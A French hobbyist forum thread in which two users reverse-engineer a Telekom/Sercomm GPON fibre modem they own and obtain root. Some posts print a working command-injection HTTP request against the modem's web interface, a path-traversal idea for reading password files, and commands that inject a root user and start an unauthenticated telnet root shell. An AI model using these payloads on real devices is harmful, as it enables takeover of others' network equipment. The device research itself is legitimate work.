Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 05 juin 2023 à 11:25:51
A priori mini_httpd est lancé par /usr/bin/smd, qui charge des plugins dans /opt/lib (ici libsl_http.so).
Donc tout est spécifique, ce n'est pas pratique à analyser.

Dans les URL qui pourraient être intéressantes (à voir si c'est autorisé), j'ai vu "settings_page/configurationBackup.cfg".
Il y a peut-être une login.html ou login/index.html quelque part, mini_httpd et setup.cgi référencent un /tmp/dt_login_flag (peut-être pour le filtrage).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 05 juin 2023 à 14:35:10
Donc ta piste ce serait que les fichiers ne sont pas filtrés individuellement mais accessible si Login or Deutch Telekom a viré la page Login.

Hint: sur le githuub / issue de GPON hacking il y a un user allemand qui a une version 1&1 du device qui a cette partie login, on peut surement lui demander quelque HAR/trace chrome de l'authentification. Ca peut nous éclairer sur les URL utilisé pour l'auth. https://github.com/hack-gpon/hack-gpon.github.io/issues/197

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 05 juin 2023 à 23:03:22
Le "Welcome to your Sercomm GPON Router" est dans /usr/www-ap/lang/Cat13.csv, avec l'ID 1300069.
Mais effectivement je ne trouve pas de getHTMLString(1300069).
En revanche le /usr/www-ap/js/login.js a bien getHTMLString(809004), "Enter your username and password to access your configuration settings.".
Donc on a les URL :
 - data/user_lang.json pour récupérer "salt" (PBKDF2 avec le password pour sauvegarder "dk" dans la session, qui servira à chiffrer certaines requêtes) et "encryption_key"
 - il fait deux hex_hmac_sha256, et utilise data/login.json (donc probablement /usr/www-ap/data/login.php, dont on a une version stubbée sur le DT)

Sur la version DT, le login a clairement été désactivé, mais plus pour donner l'accès que l'enlever.
En revanche, le /tmp/dt_login_flag suggère qu'il y a un mécanisme supplémentaire.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 06 juin 2023 à 04:12:31
J'ai essayé de lancer des choses dans un qemu, ce n'est pas facile avec les inits binaires.
Même si je modifie le smd.conf, /usr/bin/smd semble vouloir lancer umcid (démon OMCI) qui va faire plein d'erreurs, mais pas mini_httpd.

Pour le boot, je ne sais pas qui est censé monter l'image lib_squashfs sur /mnt/rootfs.

/usr/sbin/board_init fait forcément plein d'erreur.
Il lance /etc/mount_fs.sh :
mount -t jffs2 -o ro /dev/mtdblock5  /var/ft
mount -t jffs2  /dev/mtdblock15 /mnt/xml_config
ln -sf /mnt/xml_config /tmp/config
mount -t jffs2  /dev/mtdblock16 /mnt/erasable_xml_config
mount -t jffs2  /dev/mtdblock17 /data
ln -sf /data /var/syslog
ln -sf /data /var/app_data
Ca fait donc 4 partitions JFFS2, c'est plus que ce que j'ai vu dans le dump.
Il veut aussi lire différents numéros de série, et lance différents démons (gpon_monitor, switch_monitor, led_ap, hbs_app, sys_monitor, pb_ap).

/usr/bin/cmld essaye d'ouvrir les fichiers de /mnt/xml_config, et en crée dans /tmp/cml (à cause de l'erreur, ou en temporaire ?).
Malgré le nom "xml", ce sont des fichiers binaires.


Il y a également des fichiers /var/cli_pw et  /var/http_pw  qui sont créés :
DTTEL:d2f8db9aab3699add2705373c3164f1745a3b652735d3322ce3313576425ec59:0:0:Root:/:/bin/shC'est hmac_sha256($1$SERCOMM$, password), pour l'instant je ne sais pas quel est le password.
/var/cli_pw est référencé dans :
 - /opt/lib/libsl_account.so (probablement là où c'est généré)
 - /bin/sc_cli (référencé dans busybox et sshd, alors que /bin/login pointe déjà dessus)
 - /mnt/rootfs/bin/sshd et /mnt/rootfs/bin/ssh-keygen (en plus de login / sc_cli)
/var/http_pw est référencé dans :
 - /opt/lib/libsl_account.so
 - /opt/lib/libsl_http.so
Il existe aussi /var/cli_pw_remote et /var/http_pw_remote, mais ils sont vides.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 07 juin 2023 à 10:25:19
Oui, j'ai vu quelques traces de shell comme ça, c'est soit un script, soit un system().

J'ai trouvé "config" en essayant différentes valeurs de uploadType.
A ce moment là, je me suis dit que si on peut envoyer une config, on peut peut-être faire une sauvegarde.
C'est donc pour ça que j'ai testé download.cgi, mais je n'ai uniquement pu confirmer sa présence, sans trouver comment l'appeler.


A priori download.cgi prend les paramètres this_file et next_file

Je n'ai pas compris l'usage de "this_file" qui semble ne pas être pris en compte dans mes tests, mais peut-être qu'il sert à un redirect une fois l'action effectué...
Pour next_file il semble qu'il y ai une liste d'action pré-défini dans download.cgi qui en fonction du mot clé (proche des nom de fichier à download) execute un script et renvoit le contenu. exemple:
http://192.168.100.1/download.cgi?this_file=status-and-support.html&next_file=eventlog.log le mot clé 'eventlog.log' est mappé au fichier eventlog.txt on peut ainsi récupérer le log de l'ONT (pas très intéressant)

D'autre part il semble que certaines URL nécessitent 2 paramètres "_" et "csrf_token" le paramètre "_" contient le résultat de "new Date().getTime()" (quand appelé depuis un fichier JS) et le csrd_token contient le token qui est injecté par mini_httpd (via cgi) dans les pages HTML via un tag de template, exemple la page "statusandsupport/status.html" contient
<script type="text/javascript">
csrf_token = '@csrf_token#';
</script>

On peut récupérer un token par exemple en appellant:
http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html

Je ne sais quel mapping décide si une page html doit on nous avoir les paramètre "_" et "_csrf_token" mais par exemple si on appelle "http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html" on a une response, alors que
http://192.168.100.1/setup.cgi?next_file=statusandsupport/lan.html?_=1&csrf_token=HK70CEDA65JW16333884 nécessite les _ et csrf_token

on note que:

Enfin comme indiqué par @hwti il a bien les restes d'une ancienne WebUI dans le dossier racine qui semble toujours fonctionner (du moins pour les parties supporté par le modem, par exemple il y a des pages pour la gestion d'un modem 3G qui évidement n'existe pas sur l'OLT). Donc en appellant tous les fichiers json du dossier /data "racine" (en utilisant les paramètres "_" et "csrf_token") on arrive à récupérer les JSON qui servent aux page de l'ancienne WebUI.

quelques exemple:

statussupportstatus.json:
[ { "sys_serial_number": "XXXXXXXXXXXX" }, { "sys_dt_serial_number": "XXXXXXXX" }, { "sys_firmware_version": "090144.1.0.001" }, { "sys_bootloader_version": "0100" }, { "sys_hardware_version": "Glasfaser-Modem 2 Glasfaser.DTV1" }, { "omci_software_version": "\t\t1.0.0.1_19385\t\t\n" }, { "sys_uptime": "0:5:48" }, { "sys_cpu_usage": "47.58%" }, { "sys_reboot_cause": "SW" }, { "sys_memory_usage": "70.08%" }, { "sys_date_time": "2023-06-07T09:28:08Z" }, { "sys_build_time": "2020-09-21 10:04:48\n" }, { "sys_model_name": "Glasfaser-Modem 2" }, { "sys_current_image": "FW1" }, { "sys_fw0_image_size": "13107200" }, { "sys_fw0_image_version": "090144.1.0.001" }, { "sys_fw0_image_crc": "25A0A707" }, { "sys_fw1_image_size": "13107200" }, { "sys_fw1_image_version": "090144.1.0.001" }, { "sys_fw1_image_crc": "25A0A707" }, { "inter_gateway": "" }, { "inter_primary_dns": "" }, { "inter_secondary_dns": "" }, { "inter_firewall": "601036" }, { "inter_ipv6_link_local_address": "" }, { "inter_ipv6_link_global_address": "" }, { "inter_ipv6_gateway": "" }, { "inter_ipv6_prefix_delegation": "" }, { "inter_ipv6_dns_address1": "" }, { "inter_ipv6_dns_address2": "" }, { "lan_ip_network": "192.168.100.1\/24" }, { "lan_default_gateway": "192.168.100.1" }, { "lan_mac_address": "A0:95:7F:39:4A:16" }, { "lan_dhcp_server": "601036" }, { "lan_dhcpv6_server": "601036" }, { "lan_router_advertisement": "601036" }, { "lan_ipv6_default_gateway": "" }, { "lan_port1_switch_mode": "1301722" }, { "lan_port2_switch_mode": "1301722" }, { "lan_port3_switch_mode": "1301722" }, { "lan_port4_switch_mode": "1301722" }, { "lan_port1_switch_speed": "0" }, { "lan_port2_switch_speed": "0" }, { "lan_port3_switch_speed": "0" }, { "lan_port4_switch_speed": "0" }, { "lan_port1_switch_status": "1301724" }, { "lan_port2_switch_status": "1301724" }, { "lan_port3_switch_status": "1301724" }, { "lan_port4_switch_status": "1301724" } ]

on trouve aussi une page sur le TR-069:
settings_tr069.json:
[ { "tr069_mode": "1" }, { "bind_wan_connection": "" }, { "ssl_version": "id:1|value:SSL 3.0|select:0~id:2|value:TLS 1.0|select:0~id:3|value:TLS 1.2|select:0~id:4|value:Auto|select:1~" }, { "tr069_acs_url": "http:\/\/acs.sercomm.com:7547" }, { "url_override_by_dhcp": "1" }, { "tr069_acs_username": "acs" }, { "tr069_acs_password": "XXXXXXXX" }, { "tr069_request_username": "admin" }, { "tr069_request_password": "XXXX" }, { "cpe_port_for_acs_access": "7547" }, { "tr069_inform": "1" }, { "tr069_inform_interval": "3600" }, { "pit_d": "" }, { "pit_t": "" } ],
J'ai masqué les deux password qui sont dans le JSON, par contre les URL acs.sercomm.com ne semblent pas publique

J'ai presque cru avoir trouvé quelque chose avec:
settings_access_control.json:
[ { "http_admin_enable_lan": "1" }, { "http_admin_enable_wan": "1" }, { "http_admin_port": "80" }, { "https_admin_enable_lan": "1" }, { "https_admin_enable_wan": "1" }, { "https_admin_port": "443" }, { "ssh_admin_enable_lan": "1" }, { "ssh_admin_enable_wan": "1" }, { "ssh_admin_port": "22" }, { "telnet_admin_enable_lan": "0" }, { "telnet_admin_enable_wan": "" }, { "telnet_admin_port": "" } ],

on peut changer certaines valeur en faisant un POST sur ces mêmes url (ex: curl "-d "telnet_admin_enable_lan=1" avec "_" et "csrf_token" dans l'url, cela change bien la valeur à 1 et la valeur persiste après boot ... mais le service telnet ne démarre pas ... Idem le ssh n'est pas activé pourtant le config est à 1 dans la config par défaut ... il doit s'agir d'un reste non fonctionnel de l'UI d'un autre routeur ... Je n'arrive pas non plus à changer les deux autres clés  "telnet_admin_enable_wan" et "telnet_admin_port" ... (peut-être une vérification supplémentaire dans le cgi sur le fait que l'utilisateur soit logé ou non :( ...

Enfin on remarque que mini_httpd interdits les transversal path (../) mais en utilisant "%2e%2e%2f" il ne dit rien mais il reste un mapping dans les cgi qui fait qu'on ne peut pas récupérer autre chose que des .json our des .html....

Bon ben encore du boulot ...
 
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 01:50:32
D'autre part il semble que certaines URL nécessitent 2 paramètres "_" et "csrf_token" le paramètre "_" contient le résultat de "new Date().getTime()" (quand appelé depuis un fichier JS) et le csrd_token contient le token qui est injecté par mini_httpd (via cgi) dans les pages HTML via un tag de template
Je pensais que le _ était juste une technique pour générer une URL unique, et donc passer outre le cache du navigateur (pour un GET, sur un POST ça n'a pas de sens).

J'ai presque cru avoir trouvé quelque chose avec:
settings_access_control.json:
[ { "http_admin_enable_lan": "1" }, { "http_admin_enable_wan": "1" }, { "http_admin_port": "80" }, { "https_admin_enable_lan": "1" }, { "https_admin_enable_wan": "1" }, { "https_admin_port": "443" }, { "ssh_admin_enable_lan": "1" }, { "ssh_admin_enable_wan": "1" }, { "ssh_admin_port": "22" }, { "telnet_admin_enable_lan": "0" }, { "telnet_admin_enable_wan": "" }, { "telnet_admin_port": "" } ],

on peut changer certaines valeur en faisant un POST sur ces mêmes url (ex: curl "-d "telnet_admin_enable_lan=1" avec "_" et "csrf_token" dans l'url, cela change bien la valeur à 1 et la valeur persiste après boot ... mais le service telnet ne démarre pas ... Idem le ssh n'est pas activé pourtant le config est à 1 dans la config par défaut ... il doit s'agir d'un reste non fonctionnel de l'UI d'un autre routeur ... Je n'arrive pas non plus à changer les deux autres clés  "telnet_admin_enable_wan" et "telnet_admin_port" ... (peut-être une vérification supplémentaire dans le cgi sur le fait que l'utilisateur soit logé ou non :( ...
Sur ce cas précis, est-ce qu'on peut charger settings_page/settings_access_control.html (à voir avec quel préfixe), plutôt que de faire les requêtes manuellement ?

Sans avoir vérifié, je dirais que POST xxx.json => xxx.php et setup.cgi (et donc un GET xxxx.json => xxxx.json et setup.cgi ?).
Mais le /usr/www-ap/data/settings_access_control.php ressemble plus à un stub :
Citer
<?php
sleep(1);
echo '1';
?>
Le setup.cgi contient des chaînes qui suggèrent qu'il peut changer des configs :
 - InternetGatewayDevice.UserInterface.LANAccess.X_SC_Management.SSHServer.
 - InternetGatewayDevice.UserInterface.LANAccess.X_SC_Management.TelnetServer.
 - ssh_admin_enable_lan
 - telnet_admin_enable_lan
 - ...

Les configs sont listées aussi dans /lib/libcal_access_control.so, mais je ne trouve pas de référence à cette librairie et ses APIs cal_access_control_get_lan_ssh_enable / cal_access_control_get_lan_telnet_enable.
A l'inverse, InternetGatewayDevice.X_SC_Management.Server.WebServer est dans /lib/libcal_access_control.so, qui ne semble pas être référencée non plus, mais aussi dans /opt/lib/libsl_http.so.
Donc peut-être qu'il manque des libsl_*.so pour lancer sshd et telnetd (malgré le fait qu'ils soient présents).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 04:57:34
Si effectivement il manque bien la logique pour lancer un sshd ou telnetd, alors il faut peut-être chercher un system() ou autre à exploiter.

Pour exemple dans les libs chargées par mini_httpd, il y a :
 - /usr/lib/libutility.so : system et popen
    - SYSTEM(const char *format, ...) => system("formatted")
    - STD_SYSTEM => comme SYSTEM
    - FAST_SYSTEM(bool run_in_background, int unused, const char *format) => system("formatted") ou system("formatted &") si run_in_background
    - myPipe(const char *command, char **output) => popen(command, "r")
    - get_numeric_by_cmd(const char *command, const char *prefix_to_search) => myPipe(command, &output)
 - /usr/lib/libslog.so :
    - (pas de référence ?) => app_log_management_init(a, b, name) => "/bin/mkdir /debug/%s" avec name
    - log_log => "/bin/cat %s > %s" sur la rotation des logs, mais les noms /debug/%s/file1 et /debug/%s/file2 viennent de app_log_management_init

Je n'ai pas encore regardé les libs en dépendance des cgi, mais déjà là je vois que :
 - mini_httpd appelle SYSTEM() :
    - sur un login réussi (je ne sais pas quelle requête) => snprintf(buffer, 0x7f, "/bin/mkdir -p %s","/tmp/dt_login_flag")
    - sur login/index.html (GET ?) => snprintf(buffer, 0x7f, "/bin/rm -rf  %s", "/tmp/dt_login_flag")
 - download.cgi appelle system() et SYSTEM()
    - sprintf(buffer, "%s all > %s","/usr/sbin/chip_info_dump","/tmp/debug_ddb")
    - SYSTEM("/bin/touch /tmp/%s", "gpon_ddb.log") ou SYSTEM("/bin/touch /tmp/%s", "gpon_debug.log")
    - SYSTEM("/bin/tar -cvf %s %s", "/tmp/event_monitorlog.tar", "/tmp/monitor_log/")
    - SYSTEM("/bin/cat %s %s %s %s > %s", "/var/voice/voip.conf", "/var/voice/cgi_cli_data", "/var/voice/sip.log", "/var/voice/voice.log", "/tmp/voip_diagnose_info.txt")
    - SYSTEM("/bin/tar -cvf %s %s %s", "/tmp/voip_diagnose_info.tar", "/tmp/*.pcm", "/tmp/voip_diagnose_info.txt")
    - SYSTEM("/bin/rm %s", "/tmp/*.pcm");
 - upload.cgi appelle system(), SYSTEM() :
    - system("echo 3 > /proc/sys/vm/drop_caches")
    - snprintf(buffer, 0x100, "/usr/sbin/fw_ctl -u -d -C -A %s","/var/gpon.img");
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":true}\' &", 1)
 - setup.cgi appelle system(), popen(), SYSTEM() et myPipe()
    - popen("/usr/sbin/ip route list table main") et "/usr/sbin/ip route list table %d"
    - myPipe("/bin/cat /proc/sys/net/nf_conntrack_max", &buffer)
    - myPipe("/bin/cat /proc/sys/net/netfilter/nf_conntrack_count", buffer)
    - snprintf(buffer, 0x32, "\"/usr/sbin/ dhcp6c start %d renew\"", iVar2) (???)
    - sur un paramètre "byby", snprintf(buffer, 0x7f, "/bin/rm -rf %s", "/tmp/dt_login_flag")
    - snprintf(buffer, 0x7f, "/bin/mkdir %s", "/tmp/dt_firmware_update_flag")
    - snprintf(buffer, 0x7f, "/bin/rm -rf %s", "/tmp/dt_firmware_update_flag")
    - snprintf(buffer, 0x7f, "/bin/mkdir %s", "/tmp/dt_restart_flag")
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":false}\'", 1);
    - snprintf(buffer, 0x7f,"/bin/mkdir %s", "/tmp/dt_reset_flag")
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":true, \"args\":{\"owner\":%d, \"group\":\"admin\"}}\' &", 2)
    - snprintf(buffer, 0x7f, "/bin/rm -rf %s", "/tmp/dt_firmware_update_flag")
    - snprintf(buffer, 0x7f, "/bin/mkdir %s", "/tmp/gui_update_success_flag")
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":true, \"args\":{\"owner\":%d, \"group\":\"%s\"}}\' &", 2, 2, group); => group semble déterminé à partir de getenv("REMOTE_USER"), ou être NULL (!)
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":true}\' &", 1)
    - snprintf(buffer, 100, "/usr/sbin/umci_ctl -f %s stack get version", "/tmp/tmp_omci_version")
    - SYSTEM("/usr/bin/ubus call smd notify \'{\"notify_id\":%d, \"notify_type\":false}\'", 1)
    - SYSTEM("hal_optical_ctl set_power 0;sleep 3;hal_optical_ctl set_power 1 &")
    - SYSTEM("/usr/sbin/umci_ctl misc save vlan")
    - SYSTEM("/bin/ls -l %s | /bin/grep ^-|/bin/wc -l > %s", "/tmp/monitor_log/", "/tmp/monitor_total_log_num.txt")
    - SYSTEM("/bin/du -sh %s > %s", "/tmp/monitor_log/", "/tmp/monitor_total_log_size.txt")
    - SYSTEM("/bin/tar -cvf %s %s", "/tmp/crash_log.tar", "/tmp/sys_monitor/flash/system_crash_log/")
    - SYSTEM("/bin/tar -cvf %s %s", "/tmp/app_log.tar", files), où files est la concaténation des "/tmp/sys_monitor/flash/application_log/%s ", quand la fonction est appelée avec quelque chose comme "name1|name2|name3"
    - SYSTEM("/bin/rm -rf %s", files), où files est la concaténation des "/tmp/sys_monitor/flash/application_log/%s ", quand la fonction est appelée avec quelque chose comme "name1|name2|name3"

Pour l'instant, seuls les deux derniers pourraient être intéressants a priori, s'il y a moyen de passer des ";command", "&&command", "||command", "$(command)", "&command" dans le paramètre.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 10:24:57
Bonne pioche @hwti !!!!

Les 2 derniers appels SYSTEM permettent l'injection de commandes!!

la requête:
POST /data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token=HK460CEB5AJW1F3A8140 HTTP/1.1
Host: 192.168.100.1
Content-Length: 49
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.100.1
Referer: http://192.168.100.1/setup.cgi?next_file=activation_page/%2e%2e%2fstatusandsupport/debug_log.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7
Cookie: lang=en
Connection: close

applog_select=4.2023-06-08-00-35-23.setup;/bin/ps

Du coup on peut lancer /usr/sbin/telnetd et/ou /usr/sbin/sshd qui répondent bien, par contre telnet ne reconnait aucun login (superadmin superuser root ...) et quitte avant le prompt password et sshd root/root ne fonctionne pas donc il va falloir creer un user grâce à l'injection. D'autre part il n'y a pas netcat (applet not found dans busybox) sur le router donc l'option simple de faire un remote shell ne semble pas possible non plus...

mais je voulais partager la nouvelle ce matin, même s'il reste à trouver un moyen d'avoir un shell plus pratique on a un access. D'autre part mini_httpd est lancé en superadmin comme le process ID 1 donc on a tout les droits normalement.

Benoit - grand merci à @hwti !!!!

 
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 10:49:17
@hwti pour ton info voici la table des points de montage final:

Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/root                 9472      9472         0 100% /
/dev/mtdblock22           3840      3840         0 100% /mnt/rootfs
/dev/mtdblock5            1280       388       892  30% /tmp/var_link_dir/ft
/dev/mtdblock15           2560       456      2104  18% /mnt/xml_config
/dev/mtdblock16           2560       428      2132  17% /mnt/erasable_xml_config
/dev/mtdblock17           9600      3728      5872  39% /data

etrangement on ne retrouve pas le montage /libshashfs qu'on voit dans le dump, pourtant les lib et les binaires sont bien là ... ca doit être un mode ubifs ...
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 14:35:14
la requête:
POST /data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token=HK460CEB5AJW1F3A8140 HTTP/1.1
Host: 192.168.100.1
Content-Length: 49
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.100.1
Referer: http://192.168.100.1/setup.cgi?next_file=activation_page/%2e%2e%2fstatusandsupport/debug_log.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7
Cookie: lang=en
Connection: close

applog_select=4.2023-06-08-00-35-23.setup;/bin/ps
Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.

En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".

Pour le cas de l'ONT 1&1, je crains que cette API soit derrière le login malheureusement.

Du coup on peut lancer /usr/sbin/telnetd et/ou /usr/sbin/sshd qui répondent bien, par contre telnet ne reconnait aucun login (superadmin superuser root ...) et quitte avant le prompt password et sshd root/root ne fonctionne pas donc il va falloir creer un user grâce à l'injection. D'autre part il n'y a pas netcat (applet not found dans busybox) sur le router donc l'option simple de faire un remote shell ne semble pas possible non plus...
telnetd => login => sc_cli => /var/cli_pw
Le sshd semble également patché pour utiliser /var/cli_pw.
Tu peux regarder si tu as le même contenu que dans mon test standalone, si oui on pourrait tenter d'utiliser hashcat, mais  hmac_sha256($1$SERCOMM$, password) c'est compliqué si le mot de passe est long.
Sinon il faut soit :
 - injecter un user : "echo root:a55242ef39eaf4157eae9139cd746837ed8091505eee52c10bdc27bbab1ab260:0:0:Root:/:/bin/sh >> /var/cli_pw"
 - ajouter une clé publique (si c'est activé).

Mais le telnetd risque d'être limité à sc_cli (qui remplace login, mais est en fait un shell), malgré le fait que le /var/cli_pw donne /bin/sh comme shell.
Pour sshd, je ne sais pas, ça dépend de comment ils l'ont patché.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 08 juin 2023 à 14:42:28
@hwti pour ton info voici la table des points de montage final:

Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/root                 9472      9472         0 100% /
/dev/mtdblock22           3840      3840         0 100% /mnt/rootfs
/dev/mtdblock5            1280       388       892  30% /tmp/var_link_dir/ft
/dev/mtdblock15           2560       456      2104  18% /mnt/xml_config
/dev/mtdblock16           2560       428      2132  17% /mnt/erasable_xml_config
/dev/mtdblock17           9600      3728      5872  39% /data

etrangement on ne retrouve pas le montage /libshashfs qu'on voit dans le dump, pourtant les lib et les binaires sont bien là ... ca doit être un mode ubifs ...
/mnt/rootfs c'est logiquement "lib_squashfs", mais c'est bizarre que ça soit présenté comme une partition MTD, et pas comme un /dev/ubi*.
C'est peut-être gluebi, mais dans le kernel c'est indiqué comme "legacy" (et squashfs => mtdblock => mtd => ubi => mtd c'est moche...).
Les traces kernel donneront peut-être plus d'informations, et peut-être "cat /proc/mtd".

Pour /dev/root, il faut regarder "cat /proc/cmdline", c'est probablement aussi une fausse MTD.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 14:45:39
/mnt/rootfs c'est logiquement "lib_squashfs", mais c'est bizarre que ça soit présenté comme une partition MTD, et pas comme un /dev/ubi*.
C'est peut-être gluebi, mais dans le kernel c'est indiqué comme "legacy" (et squashfs => mtdblock => mtd => ubi => mtd c'est moche...).
Les traces kernel donneront peut-être plus d'informations, et peut-être "cat /proc/mtd".

Pour /dev/root, il faut regarder "cat /proc/cmdline", c'est probablement aussi une fausse MTD.

cat /proc/cmdline:
coherent_pool=4M cpuidle_sysfs_switch pci=pcie_bus_safe
cat /proc/mtd:
dev:    size   erasesize  name
mtd0: 00200000 00020000 "CfeROM"
mtd1: 00400000 00020000 "CfeRAM1"
mtd2: 00400000 00020000 "CfeRAM2"
mtd3: 000a0000 00020000 "FlashMAP"
mtd4: 000a0000 00020000 "SN"
mtd5: 00140000 00020000 "Protect"
mtd6: 01b80000 00020000 "Rootfs1"
mtd7: 00c80000 00020000 "Lib1"
mtd8: 01b80000 00020000 "Rootfs2"
mtd9: 00c80000 00020000 "Lib2"
mtd10: 000a0000 00020000 "Bootflg"
mtd11: 000a0000 00020000 "Rootfs1_Info"
mtd12: 000a0000 00020000 "Lib1_Info"
mtd13: 000a0000 00020000 "Rootfs2_Info"
mtd14: 000a0000 00020000 "Lib2_Info"
mtd15: 00280000 00020000 "XMLConfig"
mtd16: 00280000 00020000 "Erasable_XML_CFG"
mtd17: 00960000 00020000 "AppData"
mtd18: 00140000 00020000 "Yaffs"
mtd19: 010c0000 00020000 "Reserve"
mtd20: 00930000 0001f000 "rootfs_ubifs"
mtd21: 0029bf98 0001f000 "filestruct_full.bin"
mtd22: 003bd000 0001f000 "lib_squashfs"
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 14:48:56
Compte tenu de la requête d'origine, j'en déduis que statusandsupport/debug_log.html est accessible.

En plus de la capacité à lancer des commandes, ça ne m'étonnerait pas que le chemin ne soit pas protégé, et qu'on puisse récupérer des fichiers arbitaires directement, par exemple "applog_select=../../../../var/http_pw".

Pour le cas de l'ONT 1&1, je crains que cette API soit derrière le login malheureusement.
telnetd => login => sc_cli => /var/cli_pw
Le sshd semble également patché pour utiliser /var/cli_pw.
Tu peux regarder si tu as le même contenu que dans mon test standalone, si oui on pourrait tenter d'utiliser hashcat, mais  hmac_sha256($1$SERCOMM$, password) c'est compliqué si le mot de passe est long.
Sinon il faut soit :
 - injecter un user : "echo root:a55242ef39eaf4157eae9139cd746837ed8091505eee52c10bdc27bbab1ab260:0:0:Root:/:/bin/sh >> /var/cli_pw"
 - ajouter une clé publique (si c'est activé).

Mais le telnetd risque d'être limité à sc_cli (qui remplace login, mais est en fait un shell), malgré le fait que le /var/cli_pw donne /bin/sh comme shell.
Pour sshd, je ne sais pas, ça dépend de comment ils l'ont patché.

Hé oui j'aurai du relire les thread d'avant ou /var/cli_pw était déjà mentionné, donc pour le test en écrasant avec un user sans passwd on arrive effectivement à se logé en telnet ou ssh MAIS ils ont pacthé pour qu'on soit bloqué dans la sc_cli ... donc pas pratique.

Je ne sais pas si c'est le /bin/login qui est patché ou telnetd et sshd ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 18:08:26
Du coup le moyen que j'ai trouvé le plus simple c'est de créer un script bash qui remplace /bin/login, de lancer telnet avec l'option -l pour préciser d'utiliser ce script à la place de /bin/login et lancer un tty/shell dans le script en question. Du coup y'a aucune authentification c'est pas secure du tout mais ca permet d'avoir un shell propre avec auto-completion etc .. pour explorer l'ONT en mode root.

les commandes à injecter:

echo "#!/bin/sh" > /tmp/slogin
echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin
echo "/bin/cttyhack /bin/sh" >> /tmp/slogin

/bin/chmod 755 /tmp/slogin

/usr/sbin/telnetd -l /tmp/slogin

Voila un screenshot d'un top qui tourne dans le shell via telnet !!!

Maintenant on peut commencer à regarder si on peut résoudre la question de l'IGMP pour Bouygues et si on peut changer les valeur de numéro de série pour l'authentification OMCI.

Encore un grand grand merci à @hwti
Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 08 juin 2023 à 18:51:30
Je pense que si on pouvait changer le numéro de série, ça serait plus simple pour éviter les problèmes d'authentifications.

Bon alors à priori les info sont dans une partition de la nand dédié
/tmp/var_link_dir/run # mount
/dev/root on / type squashfs (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,mode=0755)
/dev/mtdblock22 on /mnt/rootfs type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime,size=64M)
sysfs on /sys type sysfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock5 on /tmp/var_link_dir/ft type jffs2 (ro,relatime)
/dev/mtdblock15 on /mnt/xml_config type jffs2 (rw,relatime)
/dev/mtdblock16 on /mnt/erasable_xml_config type jffs2 (rw,relatime)
/dev/mtdblock17 on /data type jffs2 (rw,relatime)

ls /tmp/var_link_dir/ft
